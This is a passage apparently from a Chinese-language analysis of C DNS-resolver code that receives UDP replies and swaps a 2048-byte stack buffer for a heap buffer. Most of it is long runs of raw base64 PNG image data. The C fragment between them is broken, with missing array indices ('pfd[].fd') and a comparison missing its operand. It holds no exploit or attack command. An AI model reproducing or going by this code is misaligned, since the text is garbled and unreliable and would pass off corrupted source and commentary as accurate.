2BWjgnPkz5zuOw3J5UqR5SUq5Eau1HYAAAC4MyLL+6LtAAAAsA8iy/ui7QDgO45/tvTCtPedRxUS3qmxaebJoyt5Tw+ZAqQVc6eu+FxElvdF2wHAD5GvP7xQTONeavi0l+b8Jn9sn+55/1GBqwSFneiKaxFZ3hdtBwA/I3sD/kUum/uv4BOK7YpRwfqd6IprEVneF20HAEEWI0yhQXiTRR469UP4U7Qh7BoWLOvUQ5XFrLLlfhysOGZJXi7Boy7Nk5coOl5fYKuYzWjtpvyM6VhBX6nTdfNDPadI3j763Y/jOM61rrdcud1b8tlyuK/m1b5krn+UUfc0+qfyQbB6sln25ATRYk5i9TJfhag92Sh7JfP6R7+ceSiILO+LtgOAIJ3pkl3kjje8+9Fc7t5zaLZn+M9uMM9syrKTn1PGkcaoID2F/HvXh5hTRnWOjKlLcNZHBW0JKZUsnlwYjFBu2u3dj/MQUETq2pq65Vqq5tN7uLfm7V636V6B2ZPjjbU9JaOW5v8Wf/ZWiNmTS2VXM592va1d8bmILO+LtgOAYI4k5gAgnw+fxdBm5J9GFXbAuuxZONwzKpgOiy+IJudcgiF7VFAeF6lFqYSeq0cFrQkpleyIikWrT0F2oerUnLfl03e4v+btbrNtVGD15Hhjdc9y5sOfkvsH7gppHxWYmZen39oVn4vI8r5oOwAQ/n7t3/0wjvOEoDl4SKLtsHd2+N9/V0cF+Z6lw1eU5DPFUg0JFUsUnds7P2Xef/WooCUhPeCuTfoojAr8tdSQT9/h/ppfFxmX82ScU/kg+DttsZbE3KHGCnGXvS3zW7vicy2RJf/u++/sTgQAl9ANn6Hvh/7dDUMXwkT9augBowLnZVdvUbr2ewV5wFq8QOuxZVTQVgn21I5Cfa65V+AYO5Uy6Rx6+Wr+a6MC6waXf1Rg/PXdj5+hj2bSraiQctk9d+fK9wq4O+BzekTLv+3/zu5EAHAJf5cEp0nO4clL+cDicaMCsc/K5wqU2TPROedThv+slKg+u/316obdnivItrUllFXy8iiBPVywRwV61b2qtVTLp/dwb80XI2PnJe10z9qoIHSblhtcei0tp43P76sQqydrJVIzbz1X4O+Kns/mk5we0fJv+7+zOxEAXEMUooggepo1MNSurCsRkvZKFCuWmicqpO8gckYeMql8PkYSM3lKFO2bPMjqnkqRBlil9+PMf9Nmk5QS0s/pOtgcFehVV59WVR8kOQ/31XwpLg89t9ZI8Z7GOZUPQsuoQCtmPnWo0HRKhRg9WSm7lXn9HUT+rsioAAAAHCh/0BkAAADAEyxzXrY/VgAAAADgpuZZCowJAAAAAAAAAAAAAAAAAABVpVfp+99NeoRzUz/C75UIAAAY1HdRll5JqL/3MV1vANhLacUxAAAA7CgKtMTqYMkiBsp/Tv8/DgOhGg7BqAAAAOBL7EBrWUcgWlAg2r8bPkNHqIb9qWu1yaW44hXpSre3ooV6s221c/o3itTj3DvWEduhnn6lRAAA4BxmTN9pS7q+5BhhurPAqAAHUe4VyAWBo9ls8Ybo/5a1MbS91XOqh5fOac3CF7fcREJHrNFxrRKxCjIAALdjxPTdsPyo//3gLz/z8+//ciCjAhxEGxXMoaYWh8ajgmKvlIPe/Jzq4aVz6jF0EnVHCdkhs7h+H90pqbhUiRgVAABwO1pMHwcL+r2C6JYBowIcofRcQXlU8JLBtTph5qPcCpPn1A7XN6qpv6KRdS3z6/1eiQAAwDmymD6/fqg9V5BO+2ZiMfa3aVSwqF5EL4e2ro3qmCT/YO19r+AmJQIAADcQB176lILCO4iyMwC7SSNT/6hATJJX59aH9+mq5zQOVzbqOdWGKEc8V3DZEjGDCACAO4mv90/TgvRLlOHypTrVmFEBjrH0yPAOomxUoPdaccU99NlwuqFyZV09XNuopZ5c7f/KO4iuVaJkrhEAAACA1+sXR892iXjKAAAAANA8aVQAAAAAQPN7MfTvlQgAAAAAAAAAAAAAgMey3/OuUN+Jvv50fgeddnd3yScAAAAgtL0tpD4qOHm2MVOdAQAAgFaNS5J6RgWnRuaMCgAAAIBG+Z2CebmisCiSurG4JFP9/oN5uPzD9KdlAaVo7aWwl1h2OVt8qVDuT3y0fs5o+SbvRpFwnKcjV7MCAAAAVspmwYcN3bDErNrGdz9+wkZlZFG+A2Ee/u5HNVaOTykOT9JqvVcQDlfPGZ393Q9L2bONlaK/+1FWp1l1AAAAwLelMbSMaeVkoerGJBCuzksyDy9F1fpe2aiiLc6uFzM7n7qxmP9kHFGqOgAAAODL0hhWxtTqIwTljdZp1YT1w62oPhsVGKk7RwViCtCnUqKwa3pLQ5sDpBW9Gz7W7QxuFgAAAOB8SVS6070C13MF5r2C40cFVonKwbprozonyx4zca8AAAAAF5CEpbs8V+CIzEvPFWwdFdTjbLFTVCLtlsgg7xnMDxsoG/X0tezwXAEAAACuRrvYve0dRJ7L9eV3EEUHa68WKl3XX/Z3vYMoKVF+TjHXKHnaOdlo5JN3EAEAAOAGrKvrKye3+Bb3ffKyAk8uOwAAAG5hmR1z7OSWJ0fGTy47AAAAbmKe9XJo5PrkyPjJZQcAAAAAAAAAAAAAAMCTKc8h+x5NPiDhYxPT3qx04saNmQcAAMDvEy/ffxmv0tzHlseXm6bid0M2BPAeH4rveq1p9BbS5W/5oedu3JJ5X4UAAADgzkSEOAV9xz0Ju2kVX1+23v04dPOooBuSRZvrJxDjFv8QJj6zelvi3I0bMr+qQgAAAHAn7378jP17ulcwBdGHjQq0BZDTi9ByeS8ZjhpXto1k9P0cUW00bpkrQixE/Hd287zWimUnbnxVLvZXMq9WCAAAAH7KFOYVZhDtOGnEuIodbxYReLK/PySdhwVpYvXL6EkaISSeD1UGFtlZL3avQGa56xszb1YIAAAAfsi7Hz+fcRgGI95WrozHx8aKIaMR1uejAnFZPp7b4ptB9Bm6vxlEWQhfDWr/jlhGJvIEU2mzLOSh+aVGBeWRUDXzWoVYJwMAAMCtKRN5gv0uD3vvFYQr2ytGBa/50GpKRhbtS+PqCMlz8+DMjcVaq2eeewUAAADP8TeDSA8g7UCw9V6BMa//kFFBQ/rpLnpe3v34GfqLTxZSNhZGQq5z8lwBAADA7xHRhNQAABNOSURBVJseKHj3w980kezFPaUZRO3UEUbDqGBbVja8g2hJ257uFKVznVGB/VyBM/O8gwgAAOAB5AV/+ZqdA542fqVxpfZqIXtUIPZflSnvhe78jT3R0Eg8Dm1EyRcbFRjvIPJnvvgKIwAAAPyM+B1Ex6b0xSWGL5EwAAAAcA/fGxUAAAAAAAAAAAAAAAAAAAAAAIDLaXoWd3l7jflWn4Me7d3j3aT1E5z+XPLpGQAAAMAjtb2Ivj4qOHm9KytxbzFZrAsAAADPYy9fbO1eHRWcGlkbafuLybAAAAAAT5NfQp/XrRoG8ad847sfx77/W1osi6LrF+bNw+Ufpj8tK2klqyDPe4nld7OF0fQMbcy8TEpWUZ6laKU478Y434Kj5gEAAIBm2TT2sKEblqBT21hc5rc+O948/N2ParAbn1IcnqSlXupP87Mx8+rOapaic80rQ6gbK4m/+1G2RnmBZQAAAKBFGkPLoFROFqpuTCLZ6oQd8/BSWKzvlY0q1FFBqZitmU92rtRSlh11o1pMdWs58wAAAEAr5SL6Eq+qjxCUN1qnVRPWD7em9WejAiN1772CLZmPpgB9KhUSdk3viGhzgLTEuyGaVVTMPAAAANAun3C/x70C13MF5r2C/UcFlWJuzLxjmOTeqE7pskct3CsAAADAHpK4cpfnChyv8Sk9V7B1VKAFynExd8j8dLaoQrQ7KstTA/JhA2Wjnn2tNDxXAAAAgN1pV6u3vYPI827P8juIooO1VwuVLswv+0fhdD5NaX3mZRpD5V6BmGuUPCydbDSKyTuIAAAA8A3WPPqVs1N8r/D5/qoAMl9m6k3vHzoJCyoAAADgaMv0lmNnp5wb2t46sL515gEAAHAT87SVQ0NPRgWr3TrzAAAAAAAAAAAAAAAAwB/3NBhzva+vusNTyAAAAECzbohelvnl9bBaJ8d7n33+K4YniPfveW9fewxhY0I8LgEAAHCGv/fjy1fsMyr4RYwKAAAAYOuGzzgMcpHeeeXd0TdjRyyxZawoNg08xnFe7+sjl0tWl+KyUl89KjDX/PKOCpYcJSsrT+esZyvUk8ySVmHRebWailabtveaz6gtjNaQz5fWHG0J5fO/xMrMf8cNXWM+AQAAsKO/eHSJSqdRQYiSK3F4FE4vixxER3XDZ+j/dnv342fs3+HPIjhMFgLWU1+9eoKe0JqzJLFyGEMVg9ioQvrSKsjTedMsKhuVGrOz5LwGr+RTbY6WhNSWDf8dtwf3CgAAAM4wxWRzMJZfOi/PKZrjfOO08/Hx6UPopyZUSH3TqMBXIu9ZsnMWMqYOGoqjAm3veGOWl6kZjSy5ou1qylYbFRJS8xn+lN5mYVQAAABwhuQuwTIqMGYDKfTXA4XRhjyhMirIEyqkvmVU4C9Rsah6hFsdFeR/Lc8gKu295CWbcWNnyTsqcObTn5Caz9k0d6iWBQAAABwsuqg/9n3jvQL9VK/XFN51YWbLT94r8I8K2u4V+EYFDSONA+4V+EcFRsLvflzmljl2BwAAwHGSSd/TpdyG5wrmRwmykFKcrjgqaHmuYPW7gg56rsB9/0Gbrx8NyJpHBUma3RBVbJYlZ801PFfgTkjJp9zPnpYVlZ6njwEAAA6UhGzLBI/8tTMGMUMkCdviJ1LtGUQN7yAK77lpDBGthLy09+O0zUoK9ZS/mmcY2u8VxOesXsIXRdjtHUTuhPI+Ek0dimN+LZ+MCgAAAG5r9YX9AzAxBQAAADjBlQYFjAoAAACAb/ubBXKZMQGjAgAAAAAAAAAAAAAAAKCm6TEAdTWr9afz23zaLz3tsCWZSz2QAQAAgCdpe4t/fVRw8lR+K/ENixV8EU9BAAAA4AyN6/16RgWnxrZG2uuXNf4uhgUAAAD4vvwS+rzwVLTAVr6xuDqYa2kv/XD5h+lPYc2vTt1rPl5bcMzKUNg3Xp8rPWe0EJd3Y5ywsEvVAQAAAPvKZrKHDd2wxKzaRrHorD6ycCykqx3+7kd1EeL4lPHqycliuPpSwEZ+wp/Uc0ZHvvthKXu2sZLUux9ldW6oOgAAAGBfaQwtY1I5Wai6MQlkqxN2zMNLUbW+VzaqUEcF5gX4ejGzQ9WNxfwn44hNVQcAAADsK41hZfisPkJQ3midVk1YP9wK4LNRgZG6816BmAL0qZQo7Jre0tDmAGlF74aPdTtjRdUBAAAAO0ui0p3uFbieKzDvFew/KvAW0w7W3RvVOVl24L+i6gAAAIC9JWHpLs8VOF6kU3quYOuoQLvWHhdT7BSVSLslMsh7BvPDBspGPX0tOxurDgAAANiddrF72zuIPJFt+R1E0cHaq4VK1/WX/aNoPNkr7DRU7hWIuUbJ087JRiOfTe8gYlAAAACAc1gz2Vc+9uqbGP/98Pc6E/a/vSw0AAAA0GiZHXPsBPcnXxR/ctkBAABwE/Osl0Mj1ydHxk8uOwAAAAAAAAAAAAAAAJ5MeZj2O8/XfvUpXnUC1rkbN2YeAAAAv0+8fH8SXrG5ayi95fHlpqn43ZDl23t8eJNoqejpO0jl3uqbm87duCXzvgoBAADAnYkIcQ76oqV4u36/a8YrX3S65MoR1b/7cejmUUE3JKsZ108gxi3+IUx8ZvW2xLkbN2R+VYUAAADgTqb4f7pXMAXRm2L3Em0VX2VtsGV5LxmOGle2jWT0/RxRbVT2OV4WCxH/nd08r7Vi2YkbX5WL/ZXMqxUCAACAnzKFedEMoigu33PWiHEVO94sIvBkf39IOg8L0sTql9GTNEJIPB+qDCyys17sXoHMcnbjp5Z5s0IAAADwQ979+PmMwyBGBd0gAupoMpF2bKwYMhphfT4qEJflx2S04plB9Bm6vxlEWQhfDWr/jlhGJvIEU2mzLOSh+aVGBeWRUDXzWoVYJwMAAMCtxRN5Drs87L1XEK5srxgVvOZDqykZWbTLrswd8t08OHNjsdbqmedeAQAAwHP8zSCaI8D4GV07EGy9V2DM6z9kVNCQfrqLnpd3P36G/uKThZSNhZGQ65w8VwAAAPD7pgcK3v3wN03kLwAUkWBpBlE7dYTRMCrYdqF6wzuIlrTt6U5ROtcZFdjPFTgzzzuIAAAAHkBe8I9eWr//08avNK7UXi1kjwrE/qvy5L3Qnb+xJ5o6JB6HNqLki40KjHcQ+TNffIURAAAAfka+itlxKX1xieFLJAwAAADcw/dGBQAAAAAAAAAAAAAAAAAAAAAA4HKansVd3l5jvtWn/dHe9I04Kx8ODq/LuccrNHkGGgAAAJfR9iL6+qigfb2rfV+Fz4v1AQAAgEb28sXW7tVRQeuwgFEBAAAAcKY8hp4n4gyD+FO+8d2PY98P+owdV2SuJbTMApIjFbHYmtjPSj1LO6yXFrZnK6rZ2VUOl6mLI5V81jbGK4sJjkoGAAAA9pHNbQ8bumGJRLWNxWV+HVPm1YS0o6P/mxdXKKRuh/jyTHIv5+2ScLhIPd6o5jPbqBYz3i4qvryWMgAAALBZOtdHDZw9G5PwthpoWxF6+rcoSDYPl2kVwudkKDD9t3sOVb1C1HwWHr9QEk7GEaVKBgAAAHaRRqZylKA+QlDeaJ1WTdg8XL2Bocwg0g9XM5PMzBH7VbOqHG6lrr4FyXw1kpZyN0SzioqVDAAAAOwkiTV3uldQj2D99wrU8/rvFdgJvftx7LvKoMAqezlYd21UBz/26Ip7BQAAADhMEmzu8lyB5x1EDc8VDPJafDazvxJsi/9NE5qu4lfvFGSHGzdP1HwqG6sZjXPIcwUAAAA4nBZVb3sHkfPFpEpC8Xt45BO90Yb6G5DkzstJoxItJ65dgFcON+4VKPnUN2rFjCYq8Q4iAAAAfJk1YWfllJWvLNnbulCaeZZrz8rZp5gAAABAo2XOy6WnrOwSLl9+UMCoAAAAAGeZ57JcOR7dHC7/TeK59piAUQEAAAAAAAAAAAAAAACe6ez5/kr638nSVwuuThQ7d+PGzAMAAGCN5WWYxFbSlsesmx4E6IZsCOA9PrzHtDSKSN+AKvdW3zB17sYtmfdVCAAAACw80RrbtIawrzLf/Th086igG5KV1eonEOMW/xAmPrN6W+LcjRsyv6pCAAAAIKweFYSLuXKxs2XVLRGciRW6vBtF0BdfND56eS9toeY0S2ox9RXYCsno+zmi2mjcMjdftCJbNxTOa62XduLGV+VifyXzaoUAAACghRJFudb8jXcXqxCH/0z/6xWWQ1A3ZufL05HB4d8++14cNtKON6vFnP/izEyyAHMtA/EeMo0QEs+HKjWSnfVi9wpklru+MfNmhQAAAMBt+6ggxHQyXIs2ZqGyulH8LU89GUdECdl5Ta4tVy/iG2F9PirIilk6XD9bNwxdHsJXg9q/I5Y2kieYSqvWdnzSS40KyiOhaua1CrFOBgAAAN3qGRdRwC0m9syXfPNoNQ5Y1Y3zH9IgMZkTYyW0mfdegZH61qeNN90rmP4vP9xz8+DMjcVaq2eeewUAAADbrRwVWLcFysG6a6M6YySf7H/IvQJjjHHIqKAh/XQXPS/vfvwM/cUnCykbCyMh1zl5rgAAAGCzlTOIRGTWDcV7BeKpAfmwgbIxP7X69ziHe790Rh1kNIwKtl2odsW0+it3lrTt6U5ROtcZFdjPFTgzzzuIAAAANohfm6M+Tes5ehgq9wrEBfskkWSj9h6f5Gr/0e8gSuNKI0vmLZFQK2sGB94L3aFS1NcO1QdNFxsVaCVqyrx6OAAAAH7bodNENl/wv13CAAAAwA0xeRwAAAB4OkYFAAAAAAAAAAAAAAAAwF6annFVlyZYf7r4nKvPsBymrop2JzxwDAAAgDO0veC9Pipon/S/7yvmj3lhvboOMQAAAPAbiisDq7tXRwWtw4JLjwre/Th086igG258GwIAAAAw5DH0PBEnrE2mbiyuI+aKzLWElllAcqQi1jET+1mpZ2mHdcjC9mylslJ2wwmU5dZkFS1ZEqdTMl/bGC/j9dUV3AAAAPBE2TT2sKEblqBT21hcPtcxO15NSDs6+r93P9RSt0N8eSa5V/V2yRybK3uFc4osxRvVzGcb1bLH20VrlBcuBgAAAFqkc33UwNmzMYlkq4G2FaGnf4viYfNwmVYhUk6GAtN/l/M6pdQNQ6eeul5LauYLz2QouUnGEaWaBwAAAFqlQagcJaiPEJQ3WqdVEzYPV29gKDOI9MPVzCSTcMR+zpf+JE8bK+e0sqS+Gsl8X5KWnW6IblMUax4AAABol4SVxdsC//37x7/v/HtFLWIPubhXAAAAgD0kcWXpuYLTY+Xn/MubI24inisAAADArrT5O+mrgf42nh4rP+ff9GhzNFGJdxABAADgONbM+mx2SnYlu+l0u2pdKM08y7Um4LhqeJ+yAwAAALblTZn57BTfqOArdomMLzcoYFQAAACAq5inrWSh5y+NCv6WILjWmIBRAQAAAK7vQqOCH0UNAwAA4OqIWY9GDQMAAODqTo1Zr/cQwAEYFQAAAODbxHsvXfG2GrMmi/7+HqOWwuas/GKlh/j4ajUzKgAAAMB3vftxDlLz9XNVccw6Hf83KuiGH30A1qgl8YKm9F1N3TAOw/I8sLzFUb/dwagAAAAAJ8rWJtBkMevfi3yii+Bhk1wBbVl1S7+G7t0oshjS+eLyXkstRdUVvROoGz5DJ7bYe2oYFQAAAOA8yfXudz9qs13ymHWOzZURRbgwLs4Wb1yOmtdIUDdm58vTmfIuEsoXW9jBctIkug+R/3RnQfydewUAAAC4h25I4nrXqGCKcbth6NQgXMbQy8mijdkhpZlMekidjCOihOwAXE71dz9YIWrprxRLLc2FWgYD+ajBef+CUQEAAABO4Xym4PXyPW0cBdx5jCyHD2FXkb66cf5DGronwxkroR3EtaTfK4huGYgZRNG9AmYQAQAA4GoahgQvT8xq3RYoB+uujdmoIM/7UfcK8pS0pwXiJx2mcY0510jHqAAAAABfZg8J3M8VaAeGWTalUYF4akA+bKBszE+t/j3O9n63CvRaKryD6CVLHB+dTdVKMSoAAADAd6XXtpOQe9WoQJx1GCr3CtR1ALSNWkaTq/3HvYPIrKXCegXZW4mSfNoYFQAAAODqrh6zVl/8eXlXr2EAAADg6jErowIAAADgaFePWRkVAAAAAEcjZj0aNQwAAICr2zNm/Z/27/EYFQAAAOAk+qrBiiVmVdbvbT0dowINowIAAACcw/9qf9+owDe/n1GBhlEBAAAATlFbbldYYlb+Hf3v2DYHAAAAIvmdgnl5rrAM2bzx9Fj5Of/O6AoAAAB4quwhgLChG5a1eKeNp8fKz/l3SmcAAADAQ6WPAMhRwnIbwbMxmYVUnZfEcwUAAADARaT3CuQoQQ4AnBut0+YYFQAAAABXkQT0O90rqL/XiFEBAAAAcBlJRF96riDa+O7HT9iY3SqovZqUUQEAAABwHWlMb7+DKNr47sex74fP5/NR3mLEegUAAADAnVgPATSsZOA5XYxRAQAAAHBZ7374u87vX/N4DUYFAAAAwIXNs4UOHBMwKgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4Gj/BzonfA+BMhZDAAAAAElFTkSuQmCC" alt="" />
if (*thisanssizp < MAXPACKET
/* Yes, we test ANSCP here. If we have two buffers
both will be allocatable. */
&& anscp
#ifdef FIONREAD
&& (ioctl (pfd[].fd, FIONREAD, thisresplenp) <
|| *thisanssizp < *thisresplenp)
#endif
) { //buffer is sufficient and `thisresplenp` is 2048 and that fits in the user buffer
u_char *newp = malloc (MAXPACKET); //第一次回包的长度已经占满了2048栈空间,调用malloc申请新的空间(大小为MAXPACKET)
if (newp != NULL) {
*anssizp = MAXPACKET;
*thisansp = ans = newp; //栈指针指向新申请的栈空间
}
}
HEADER *anhp = (HEADER *) *thisansp;
socklen_t fromlen = sizeof(struct sockaddr_in6);
assert (sizeof(from) <= fromlen);
*thisresplenp = recvfrom(pfd[].fd, (char*)*thisansp, //接收UDP回包
aaarticlea/png;base64,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" alt="" />
第一个回包接收完毕后,标记,函数返回
/* Mark which reply we received. */
